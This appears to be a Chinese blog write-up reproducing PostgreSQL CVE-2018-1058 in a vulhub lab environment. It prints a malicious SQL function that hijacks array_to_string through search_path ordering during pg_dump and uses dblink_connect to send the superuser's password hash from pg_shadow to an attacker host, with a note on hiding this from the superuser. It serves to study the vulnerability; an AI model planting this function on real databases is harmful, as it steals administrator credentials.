当前位置:网站首页>[vulhub]PostGresql远程代码执行漏洞复现(CVE-2018-1058)
[vulhub]PostGresql远程代码执行漏洞复现(CVE-2018-1058)
2022-08-05 13:08:00 【errorr0】
上一篇文章提到的知识就是为了此漏洞复现时对其攻击过程恶意构造有更好的理解。
该漏洞影响到的版本:PG < 10。
复现的大体流程是:以一个普通用户登录在public中写入一个恶意的函数,通过修改public与pg_catalog的先后调用顺序导致超级用户利用自己的高权限调用自以为是正常的恶意函数最后触发恶意内容。
漏洞复现
这里模拟出一个普通用户(账号:vulhub 密码:vulhub),登录进去。

然后创建一个恶意函数array_to_string()
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=your_ip_address port=5432 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
这里解释一下上面的代码含义,第一行很简单,定义一个public模式下的函数,函数名与参数类型和个数都不能修改(保证与pg_catalog中的函数名相同),至于为什么要用这个函数,这里借用一个师傅文章的图片。

这个漏洞主要是pg_dump备份时会产生search_path的动态改变,这样则会导致一些本应该pg_catalog模式中的函数触发,一旦public中也存在就会触发public中的,上面这张图时pg_dump备份后bak文件中的数据,可以看到有个array_to_string()没有指定schema,至于他在相同模式中的定义为:

第二行用的dblink_connect()可以外带数据,类似于DNSLog注入时带出的数据(但原理不相同)。
第三行代码其实有和无没关系,主要是构造了一个恶意的函数,再在后面把正常的功能还原以便不影响到函数本身的功能而被超级用户发觉。
第四行结尾,固定格式。注意VOLATILE是一个状态,PG中有三个状态:IMMUTABLE、STABLE、VOLATILE(非常稳定、稳定、不稳定)。不稳定可以对数据库中的内容进行修改,其它的两个感兴趣的可以自己百度搜索了解。
最后我们测试一下:

设置完函数再对端口进行监听,最后进入docker环境模拟登录超级用户,对vulhub进行备份


最后监听到了一串MD5加密的密码 。
参考:PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】 - SecPulse.COM | 安全脉搏
边栏推荐
- What the hell is a DAO
- C进阶-数据的存储(下)
- NFT卡牌游戏系统dapp开发NFT链游技术
- 【Flask框架】三. Flask框架之蓝图的使用
- ESP8266 做简单的仪器
- [Share] Code programming habits: In the case of a multi-parameter method, the method needs to be sorted out - that is, the method with the most parameters is the main implementation
- 对比服务器,进行正确配置
- .NET MAUI 跨平台应用开发 I|.NET MAUI 跨平台基础
- 金融交易场景下热key如何解决
- MYSQL query duplicate data
猜你喜欢
随机推荐
Jiang: in the second half of 2022 the 22 rule to buck the trend
小程序开发商城的因素有哪些?
[IC5000 Tutorial]-02-Use daqIDEA to graphically display the value changes of variables of type "Array" and "struct"
Metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
浅解排列与组合
松翰烧录器在keil仿真时闪退,解决方法
The memory problem is difficult to locate, that's because you don't use ASAN
WPF development essays - WriteableBitmap to draw high-performance graphs
电脑端微信无法打开腾讯文档
怎么在微信上做小程序卖货?怎样做小程序卖货
Source code analysis 2 Model conversion export.py
记一次 .NET 某工控自动化控制系统 卡死分析
wallys/QCA9882/2×2 MIMO 802.11ac Mini PCIe Wi-Fi Module,
Eolink使用教程
MySQL check constraint
EAI X2(非订制版)50一个激光雷达?
台州亿丰克瑞斯伺服驱动器调试说明
每秒10亿次更新、实现秒级同步延迟,腾讯深度学习推荐系统首次入选OSDI顶会
【CC3200AI 实验教程2】疯壳·AI语音人脸识别(会议记录仪/人脸打卡机)-系统测试
RT-Thread记录(二、RT-Thread内核启动流程 — 启动文件和源码分析)









